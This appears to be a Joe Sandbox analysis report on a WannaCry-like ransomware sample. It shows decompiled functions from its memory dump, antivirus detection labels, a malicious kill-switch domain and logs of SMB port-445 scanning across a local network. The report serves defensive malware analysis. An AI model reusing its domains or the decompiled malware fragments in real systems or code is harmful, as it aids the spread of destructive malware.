__cftoe_l.LIBCMT ref: 004233AC

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 44ddc5ebc1807cb1f8dbc3b2ce9dd0a677749795dee404b17e6a32e81244ff51
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: AE11723250015EFBCF125E85EC418EE3F32BB48355B988456FE1859130CA3ACAB2AB85

Uniqueness

Uniqueness Score: -1.00%

Function 00411A8F Relevance: 6.0, APIs: 4, Instructions: 34
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411A8F(void* __ecx, intOrPtr _a4) {
				short _v4612;
				long _t11;
				int _t14;
				signed int _t16;

				E0041AAF0(0x1200);
				E0040BC16( &_v4612, 0x900, E0040C3BF(0x83), _a4);
				_t11 = GetLastError();
				_t14 = MessageBoxW( *0x441840,  &_v4612, E0040C3BF(0x96), 0x35);
				SetLastError(_t11);
				return _t16 & 0xffffff00 | _t14 == 0x00000004;
			}

0x00411a97
0x00411ab8
0x00411ac0
0x00411ae2
0x00411aef
0x00411afa

APIs

Part of subcall function 0040C3BF: LoadStringW.USER32(?,-004335D0,00000200), ref: 0040C410
Part of subcall function 0040C3BF: LoadStringW.USER32(?,-004335D0,00000200), ref: 0040C422

_swprintf.LIBCMT ref: 00411AB8

Part of subcall function 0040BC16: __vswprintf_c_l.LIBCMT ref: 0040BC29

GetLastError.KERNEL32(?), ref: 00411AC0
MessageBoxW.USER32(?,00000000,00000096,00000035), ref: 00411AE2
SetLastError.KERNEL32(00000000), ref: 00411AEF

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ErrorLastLoadString$Message__vswprintf_c_l_swprintf
String ID:
API String ID: 2205000856-0
Opcode ID: 68bc4feaeb3ec1ded5fc4cddc0e8f758a38e28cbc6004bdae2a7d7facef01b9c
Instruction ID: 7f3341f69499fe42e6dffd8e50f304e55c87ac1a4f55305a7eb793650ce5b90b
Opcode Fuzzy Hash: 68bc4feaeb3ec1ded5fc4cddc0e8f758a38e28cbc6004bdae2a7d7facef01b9c
Instruction Fuzzy Hash: 74F02732140114ABF71137E08C4AECA379CFB087C5F000277FA01F21A2EA79996487BD

Uniqueness

Uniqueness Score: -1.00%

Function 00422313 Relevance: 6.0, APIs: 4, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E00422313(void* __ebx, void* __edx, intOrPtr __edi, void* __esi, void* __eflags) {
				signed int _t13;
				intOrPtr _t28;
				void* _t29;
				void* _t30;

				_t30 = __eflags;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ebx;
				_push(0xc);
				_push(0x42da10);
				E0041FA9C(__ebx, __edi, __esi);
				_t28 = E0041E9B4(__ebx, __edx, __edi, _t30);
				_t13 =  *0x430da4; // 0xfffffffe
				if(( *(_t28 + 0x70) & _t13) == 0) {
					L6:
					E0041EFA3(_t22, 0xc);
					 *(_t29 - 4) =  *(_t29 - 4) & 0x00000000;
					_t8 = _t28 + 0x6c; // 0x6c
					_t26 =  *0x430e88; // 0x430db0
					 *((intOrPtr*)(_t29 - 0x1c)) = E004222D5(_t8, _t26);
					 *(_t29 - 4) = 0xfffffffe;
					E0042237D();
				} else {
					_t32 =  *((intOrPtr*)(_t28 + 0x6c));
					if( *((intOrPtr*)(_t28 + 0x6c)) == 0) {
						goto L6;
					} else {
						_t28 =  *((intOrPtr*)(E0041E9B4(_t22, __edx, _t26, _t32) + 0x6c));
					}
				}
				if(_t28 == 0) {
					E00421495(_t25, _t26, 0x20);
				}
				return E0041FAE1(_t28);
			}

0x00422313
0x00422313
0x00422313
0x00422313
0x00422313
0x00422315
0x0042231a
0x00422324
0x00422326
0x0042232e
0x00422352
0x00422354
0x0042235a
0x0042235e
0x00422361
0x0042236c
0x0042236f
0x00422376
0x00422330
0x00422330
0x00422334
0x00000000
0x00422336
0x0042233b
0x0042233b
0x00422334
0x00422340
0x00422344
0x00422349
0x00422351

APIs

__getptd.LIBCMT ref: 0042231F

Part of subcall function 0041E9B4: __getptd_noexit.LIBCMT ref: 0041E9B7
Part of subcall function 0041E9B4: __amsg_exit.LIBCMT ref: 0041E9C4

__getptd.LIBCMT ref: 00422336
__amsg_exit.LIBCMT ref: 00422344
__lock.LIBCMT ref: 00422354

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 2067aca802aea6c84e1c6e0627a9ce2a9215c14d0a893de0c815b7a1e0d9c920
Instruction ID: ac1e04e8c31356b773b53a495aea9e08dc5a2d3a98daccf88dafce2968103349
Opcode Fuzzy Hash: 2067aca802aea6c84e1c6e0627a9ce2a9215c14d0a893de0c815b7a1e0d9c920
Instruction Fuzzy Hash: D2F09631B00720EBDB60FBB6A50279D73A07F44724F54416FE844AB2D1CBBC9942DA5E

Uniqueness

Uniqueness Score: -1.00%

Function 00409DF7 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E00409DF7(intOrPtr _a4, intOrPtr _a8, signed char _a12) {
				char _v4100;
				char _v8196;
				short _t35;
				signed int _t38;
				short _t48;
				short _t50;
				short _t55;
				short _t56;
				signed int _t61;
				intOrPtr _t63;
				unsigned int _t66;
				signed int _t67;
				void* _t68;
				signed int _t69;

				E0041AAF0(0x2000);
				_t63 = _a4;
				_t66 = _a12;
				_t67 = _t66 & 0x0000ffff;
				_a12 = _t66 >> 0x0000001f & 0x00000001;
				if(_t67 == 0) {
					L25:
					_t63 = E0040A5DB(__eflags, _t63);
					_t68 = E0040A5DB(__eflags, _a8);
					_t35 = E00411E81(__eflags, L"__rar_", _t68, 6);
					__eflags = _t35;
					if(_t35 == 0) {
						L9:
						return 0;
					}
					_push(_a12);
					_push(_t68);
					__eflags = _t67 - 2;
					if(_t67 != 2) {
						L17:
						_push(_t63);
						return E00409CD1();
					}
					_push(_t63);
					_t38 = E00409C8B();
					asm("sbb eax, eax");
					return  ~_t38 + 1;
				}
				_t69 = E0041A7AF(_t63);
				if(_t67 == 2 || _t67 == 3 || E00409CAC(_t63, _a8, _t69, _a12) != 0) {
					L8:
					__eflags = _t67 - 1;
					if(_t67 != 1) {
						E0040A7AE(_t63,  &_v4100, 0x800);
						E0040A7AE(_a8,  &_v8196, 0x800);
						__eflags = _t67 - 2;
						if(_t67 == 2) {
							L12:
							_t48 = E00409C8B( &_v4100,  &_v8196, _a12);
							__eflags = _t48;
							if(_t48 != 0) {
								goto L9;
							}
							L13:
							__eflags = _t67 - 4;
							if(_t67 == 4) {
								L15:
								_t50 = E0040A0A4( &_v4100);
								__eflags = _t50;
								if(_t50 == 0) {
									__eflags = _t67 - 4;
									if(_t67 == 4) {
										L22:
										__eflags = _v4100;
										if(__eflags == 0) {
											goto L25;
										}
										_t55 = E00409CAC( &_v4100,  &_v8196, E0041A7AF( &_v4100), _a12);
										L24:
										__eflags = _t55;
										if(__eflags != 0) {
											goto L9;
										}
										goto L25;
									}
									_t56 = E0040A0A4(_t63);
									__eflags = _t56;
									if(_t56 != 0) {
										goto L22;
									}
									_t55 = E00409C8B( &_v4100,  &_v8196, _a12);
									goto L24;
								}
								_push(_a12);
								_push(_a8);
								goto L17;
							}
							__eflags = _t67 - 5;
							if(__eflags != 0) {
								goto L25;
							}
							goto L15;
						}
						__eflags = _t67 - 3;
						if(_t67 != 3) {
							goto L13;
						}
						goto L12;
					}
					goto L9;
				} else {
					_t61 =  *(_a8 + _t69 * 2) & 0x0000ffff;
					if(_t61 == 0x5c || _t61 == 0x2f || _t61 == 0) {
						return 1;
					} else {
						goto L8;
					}
				}
			}

0x00409dff
0x00409e05
0x00409e0a
0x00409e14
0x00409e1a
0x00409e1d
0x00409f41
0x00409f4a
0x00409f53
0x00409f5b
0x00409f60
0x00409f62
0x00409e68
0x00000000
0x00409e68
0x00409f68
0x00409f6b
0x00409f6c
0x00409f6f
0x00409ed7
0x00409ed7
0x00000000
0x00409ed8
0x00409f75
0x00409f76
0x00409f7d
0x00000000
0x00409f7f
0x00409e2a
0x00409e2f
0x00409e63
0x00409e63
0x00409e66
0x00409e7a
0x00409e8a
0x00409e8f
0x00409e92
0x00409e99
0x00409eaa
0x00409eaf
0x00409eb1
0x00000000
0x00000000
0x00409eb3
0x00409eb3
0x00409eb6
0x00409ec1
0x00409ec8
0x00409ecd
0x00409ecf
0x00409ee4
0x00409ee7
0x00409f0b
0x00409f0b
0x00409f13
0x00000000
0x00000000
0x00409f34
0x00409f39
0x00409f39
0x00409f3b
0x00000000
0x00000000
0x00000000
0x00409f3b
0x00409eea
0x00409eef
0x00409ef1
0x00000000
0x00000000
0x00409f04
0x00000000
0x00409f04
0x00409ed1
0x00409ed4
0x00000000
0x00409ed4
0x00409eb8
0x00409ebb
0x00000000
0x00000000
0x00000000
0x00409ebb
0x00409e94
0x00409e97
0x00000000
0x00000000
0x00000000
0x00409e97
0x00000000
0x00409e47
0x00409e4a
0x00409e52
0x00000000
0x00000000
0x00000000
0x00000000
0x00409e52

APIs

_wcslen.LIBCMT ref: 00409E24
_wcslen.LIBCMT ref: 00409F1F

Strings

__rar_, xrefs: 00409F56

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcslen
String ID: __rar_
API String ID: 176396367-2561138058
Opcode ID: cc00e60038d7e5b00a294da67532c8ff9d8da0984a3b6968a0dc5b622ff721b3
Instruction ID: 2f22db44ea277558b4e0ddbd7bf004989f9b0852302f55cc0e1d63be076b661c
Opcode Fuzzy Hash: cc00e60038d7e5b00a294da67532c8ff9d8da0984a3b6968a0dc5b622ff721b3
Instruction Fuzzy Hash: 2E41A176A0021966DF21AA65CC81BEF336DAF54384F08087BF905B31D3D63DCD9187A9

Uniqueness

Uniqueness Score: -1.00%

Function 0040CEF5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 17%

			E0040CEF5(intOrPtr _a4, signed int _a8, intOrPtr _a12, intOrPtr _a16) {
				void* _t10;
				long _t11;
				intOrPtr* _t22;
				void* _t23;
				signed int _t30;
				void* _t32;
				signed int _t33;
				intOrPtr _t35;

				_t35 =  *0x438808; // 0x0
				if(_t35 == 0) {
					E0040CEB6(0x438800);
				}
				_t33 = _a8;
				_t10 = _t33 - (_t33 & 0x0000000f);
				_t30 = 0 | _a16 != 0x00000000;
				if(_a12 == 0) {
					_t22 =  *0x43880c; // 0x0
					if(_t22 == 0) {
						goto L10;
					} else {
						_t11 =  *_t22(_a4, _t10, _t30);
						if(_t11 == 0) {
							_push(L"CryptUnprotectMemory failed");
							goto L6;
						}
					}
				} else {
					_t22 =  *0x438808; // 0x0
					if(_t22 == 0) {
						L10:
						_t11 = GetCurrentProcessId();
						_t23 = 0;
						if(_t33 > 0) {
							_t32 = _t11 + 0x4b;
							do {
								_t11 = _a4 + _t23;
								 *_t11 =  *_t11 ^ _t32 + _t23;
								_t23 = _t23 + 1;
							} while (_t23 < _t33);
						}
					} else {
						_t11 =  *_t22(_a4, _t10, _t30);
						if(_t11 == 0) {
							_push(L"CryptProtectMemory failed");
							L6:
							_push(0x4335ac);
							E00401000(E00406423(_t22));
							return E00406371(0x4335ac, 2);
						}
					}
				}
				return _t11;
			}

0x0040cefc
0x0040cf02
0x0040cf09
0x0040cf09
0x0040cf0e
0x0040cf1a
0x0040cf1f
0x0040cf25
0x0040cf60
0x0040cf68
0x00000000
0x0040cf6a
0x0040cf6f
0x0040cf73
0x0040cf75
0x00000000
0x0040cf75
0x0040cf73
0x0040cf27
0x0040cf27
0x0040cf2f
0x0040cf7c
0x0040cf7c
0x0040cf82
0x0040cf86
0x0040cf8a
0x0040cf8d
0x0040cf90
0x0040cf96
0x0040cf98
0x0040cf99
0x0040cf8d
0x0040cf31
0x0040cf36
0x0040cf3a
0x0040cf3c
0x0040cf41
0x0040cf46
0x0040cf50
0x00000000
0x0040cf59
0x0040cf3a
0x0040cf2f
0x0040cfa0

APIs

Part of subcall function 0040CEB6: LoadLibraryW.KERNEL32(Crypt32.dll,00000020,0040CF0E,00000020,?,?,00405D3C,?,00000020,00000001,00000000,?,00000010,?,?,?), ref: 0040CEC4
Part of subcall function 0040CEB6: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 0040CEDD
Part of subcall function 0040CEB6: GetProcAddress.KERNEL32(00438800,CryptUnprotectMemory), ref: 0040CEE9

GetCurrentProcessId.KERNEL32(00000020,?,?,00405D3C,?,00000020,00000001,00000000,?,00000010,?,?,?,00000001,?,?), ref: 0040CF7C

Strings

CryptProtectMemory failed, xrefs: 0040CF3C
CryptUnprotectMemory failed, xrefs: 0040CF75

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: AddressProc$CurrentLibraryLoadProcess
String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
API String ID: 137661620-396321323
Opcode ID: fe221cb1f1ebd7538222251a67e743d79676efd4ab4d459fbc5578979eb1af3c
Instruction ID: d47b55f9d8946329b2d763cf1c5c736fe64ad30a662938a08eea1033a11e378d
Opcode Fuzzy Hash: fe221cb1f1ebd7538222251a67e743d79676efd4ab4d459fbc5578979eb1af3c
Instruction Fuzzy Hash: C411C171304213AFDB09AF349CD197F6756CB41B14724423FF902AA2C2DA388C41529E

Uniqueness

Uniqueness Score: -1.00%

Function 0040A19D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A19D(signed short* _a4) {
				signed short _t5;
				signed int _t7;
				signed int _t10;
				signed int _t11;
				signed short* _t15;
				signed short* _t21;

				_t21 = _a4;
				if( *_t21 == 0 || _t21[1] == 0 || E0041CA29( &(_t21[2]), 0x3a) == 0) {
					_t5 =  *_t21 & 0x0000ffff;
					_t15 = _t21;
					__eflags = _t5;
					if(_t5 == 0) {
						L13:
						__eflags = 0;
						return 0;
					}
					_t7 = _t5 & 0x0000ffff;
					while(1) {
						__eflags = _t7 - 0x20;
						if(__eflags < 0) {
							goto L3;
						}
						if(__eflags == 0) {
							L9:
							_t10 = E0040A0C5(_t15[1] & 0x0000ffff);
							__eflags = _t10;
							if(_t10 != 0) {
								goto L3;
							}
							L10:
							_t15 =  &(_t15[1]);
							_t7 =  *_t15 & 0x0000ffff;
							__eflags = _t7;
							if(_t7 != 0) {
								continue;
							}
							_t11 = E0041C9E6(_t21, L"?*<>|\"");
							__eflags = _t11;
							if(_t11 != 0) {
								goto L13;
							}
							return _t11 + 1;
						}
						__eflags = _t7 - 0x2e;
						if(_t7 != 0x2e) {
							goto L10;
						}
						goto L9;
					}
					goto L3;
				} else {
					L3:
					return 0;
				}
			}

0x0040a19e
0x0040a1a6
0x0040a1c4
0x0040a1c7
0x0040a1c9
0x0040a1cc
0x0040a20b
0x0040a20b
0x00000000
0x0040a20b
0x0040a1ce
0x0040a1d1
0x0040a1d1
0x0040a1d5
0x00000000
0x00000000
0x0040a1d7
0x0040a1df
0x0040a1e4
0x0040a1e9
0x0040a1eb
0x00000000
0x00000000
0x0040a1ed
0x0040a1ee
0x0040a1ef
0x0040a1f2
0x0040a1f5
0x00000000
0x00000000
0x0040a1fd
0x0040a204
0x0040a206
0x00000000
0x00000000
0x00000000
0x0040a208
0x0040a1d9
0x0040a1dd
0x00000000
0x00000000
0x00000000
0x0040a1dd
0x00000000
0x0040a1c0
0x0040a1c0
0x00000000
0x0040a1c0

APIs

_wcschr.LIBCMT ref: 0040A1B5
_wcspbrk.LIBCMT ref: 0040A1FD

Strings

?*<>|", xrefs: 0040A1F7

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcschr_wcspbrk
String ID: ?*<>|"
API String ID: 3305141221-226352099
Opcode ID: 7f6a6c1d5428e83731d2b65d13748a0e82632fc7d37b167bce2bcb03fdaf0a03
Instruction ID: fc4717308da4314e5704a136f2044a521342e33b833bb001f63317f55d448289
Opcode Fuzzy Hash: 7f6a6c1d5428e83731d2b65d13748a0e82632fc7d37b167bce2bcb03fdaf0a03
Instruction Fuzzy Hash: 1DF0F42912832254DE38A6659805AB333D49F15784F60447FE8D2BA2C2EA3D8CE3C16F

Uniqueness

Uniqueness Score: -1.00%

Function 0041DEAB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E0041DEAB(void* __ebx, void* __edx, void* __edi, intOrPtr* __esi, void* __eflags) {
				intOrPtr _t17;
				intOrPtr* _t28;
				void* _t29;

				_t30 = __eflags;
				_t28 = __esi;
				_t27 = __edi;
				_t26 = __edx;
				_t19 = __ebx;
				 *((intOrPtr*)(__edi - 4)) =  *((intOrPtr*)(_t29 - 0x24));
				E0041A429(__ebx, __edx, __edi, __esi, __eflags,  *((intOrPtr*)(_t29 - 0x28)));
				 *((intOrPtr*)(E0041E9B4(__ebx, __edx, __edi, __eflags) + 0x88)) =  *((intOrPtr*)(_t29 - 0x2c));
				_t17 = E0041E9B4(_t19, _t26, _t27, _t30);
				 *((intOrPtr*)(_t17 + 0x8c)) =  *((intOrPtr*)(_t29 - 0x30));
				if( *__esi == 0xe06d7363 &&  *((intOrPtr*)(__esi + 0x10)) == 3) {
					_t17 =  *((intOrPtr*)(__esi + 0x14));
					if(_t17 == 0x19930520 || _t17 == 0x19930521 || _t17 == 0x19930522) {
						if( *((intOrPtr*)(_t29 - 0x34)) == 0) {
							_t37 =  *((intOrPtr*)(_t29 - 0x1c));
							if( *((intOrPtr*)(_t29 - 0x1c)) != 0) {
								_t17 = E0041A402(_t37,  *((intOrPtr*)(_t28 + 0x18)));
								_t38 = _t17;
								if(_t17 != 0) {
									_push( *((intOrPtr*)(_t29 + 0x10)));
									_push(_t28);
									return E0041DC43(_t38);
								}
							}
						}
					}
				}
				return _t17;
			}

APIs

Part of subcall function 0041A429: __getptd.LIBCMT ref: 0041A42F
Part of subcall function 0041A429: __getptd.LIBCMT ref: 0041A43F

__getptd.LIBCMT ref: 0041DEBA

Part of subcall function 0041E9B4: __getptd_noexit.LIBCMT ref: 0041E9B7
Part of subcall function 0041E9B4: __amsg_exit.LIBCMT ref: 0041E9C4

__getptd.LIBCMT ref: 0041DEC8

Strings

csm, xrefs: 0041DED6

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: 2d55cb122b51988d1cc7e6481490fc99cbdc11bcbdbc1298bbf42470784b3229
Instruction ID: 7c6b91792d137033b66a9eec197cc920f164d7126653d302a3e0d72df4157e21
Opcode Fuzzy Hash: 2d55cb122b51988d1cc7e6481490fc99cbdc11bcbdbc1298bbf42470784b3229
Instruction Fuzzy Hash: 040162B5C013148ACF389F25D444AEEB3B6AF14315F24441FE44156791DB38DED1DB49

Uniqueness

Uniqueness Score: -1.00%

Function 00410EA0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19
synchronizationCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 82%

			E00410EA0(void* __ecx, void* _a4) {
				long _t2;
				void* _t6;

				_t6 = __ecx;
				_t2 = WaitForSingleObject(_a4, 0xffffffff);
				if(_t2 == 0xffffffff) {
					_push(GetLastError());
					E00406423(_t6, 0x4335ac, L"\nWaitForMultipleObjects error %d, GetLastError %d", 0xffffffff);
					return E00406371(0x4335ac, 2);
				}
				return _t2;
			}

0x00410ea0
0x00410ea6
0x00410eaf
0x00410eb8
0x00410ec6
0x00000000
0x00410ed7
0x00410ed8

APIs

WaitForSingleObject.KERNEL32(?,000000FF,00410FD9,?,?,00411197,?,?,?,?,?,004111E6), ref: 00410EA6
GetLastError.KERNEL32(?,?,?,?,?,004111E6), ref: 00410EB2

Part of subcall function 00406423: __vswprintf_c_l.LIBCMT ref: 00406441

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00410EBB

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ErrorLastObjectSingleWait__vswprintf_c_l
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1091760877-2248577382
Opcode ID: ac3bcd71a64bb110093b5bec46156cf20680403487952e12d0601c5134127ac2
Instruction ID: 79dccacb4fa0009262a18c3e3c709d5502c54047c68cfd859e09497cac206ec9
Opcode Fuzzy Hash: ac3bcd71a64bb110093b5bec46156cf20680403487952e12d0601c5134127ac2
Instruction Fuzzy Hash: 13D0C23260402037C5013B245C05EAE36116B11331BA00722F831602F1CB6909A2429F

Uniqueness

Uniqueness Score: -1.00%

Source: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	URL Reputation: Label: malware
Source: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/	Avira URL Cloud: Label: malware

Source: C:\WINDOWS\qeriuwjhrf (copy)	Metadefender: Detection: 68%	Perma Link
Source: C:\WINDOWS\qeriuwjhrf (copy)	ReversingLabs: Detection: 87%
Source: C:\Windows\eee.exe	ReversingLabs: Detection: 12%

Source: C:\Windows\eee.exe	Joe Sandbox ML: detected
Source: C:\Windows\mssecsvr.exe	Joe Sandbox ML: detected

Source: C:\Windows\mssecsvr.exe	Avira: detection malicious, Label: TR/AD.DPulsarShellcode.grbmv
Source: C:\Windows\tasksche.exe	Avira: detection malicious, Label: TR/Rasftuby.cpsmr

Source: 6.0.mssecsvr.exe.400000.6.unpack	Avira: Label: TR/AD.DPulsarShellcode.grbmv
Source: 6.2.mssecsvr.exe.400000.0.unpack	Avira: Label: TR/Rasftuby.cpsmr
Source: 4.0.mssecsvr.exe.400000.2.unpack	Avira: Label: TR/AD.DPulsarShellcode.grbmv
Source: 6.0.mssecsvr.exe.400000.4.unpack	Avira: Label: TR/AD.DPulsarShellcode.grbmv
Source: 4.2.mssecsvr.exe.400000.0.unpack	Avira: Label: TR/Rasftuby.cpsmr
Source: 6.0.mssecsvr.exe.400000.0.unpack	Avira: Label: TR/AD.DPulsarShellcode.grbmv
Source: 7.0.mssecsvr.exe.400000.0.unpack	Avira: Label: TR/AD.DPulsarShellcode.grbmv
Source: 4.0.mssecsvr.exe.400000.0.unpack	Avira: Label: TR/AD.DPulsarShellcode.grbmv
Source: 4.0.mssecsvr.exe.400000.4.unpack	Avira: Label: TR/AD.DPulsarShellcode.grbmv
Source: 7.2.mssecsvr.exe.400000.0.unpack	Avira: Label: TR/Wanna.otiki
Source: 4.0.mssecsvr.exe.400000.6.unpack	Avira: Label: TR/AD.DPulsarShellcode.grbmv
Source: 6.0.mssecsvr.exe.400000.2.unpack	Avira: Label: TR/AD.DPulsarShellcode.grbmv

Source: global traffic	TCP traffic: 192.168.2.148:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.149:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.146:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.147:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.140:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.141:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.144:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.145:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.142:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.143:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.159:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.157:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.158:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.151:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.152:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.150:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.155:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.156:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.153:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.154:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.126:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.247:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.127:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.248:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.124:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.245:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.125:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.246:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.128:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.249:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.129:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.240:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.122:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.243:445	Jump to behavior
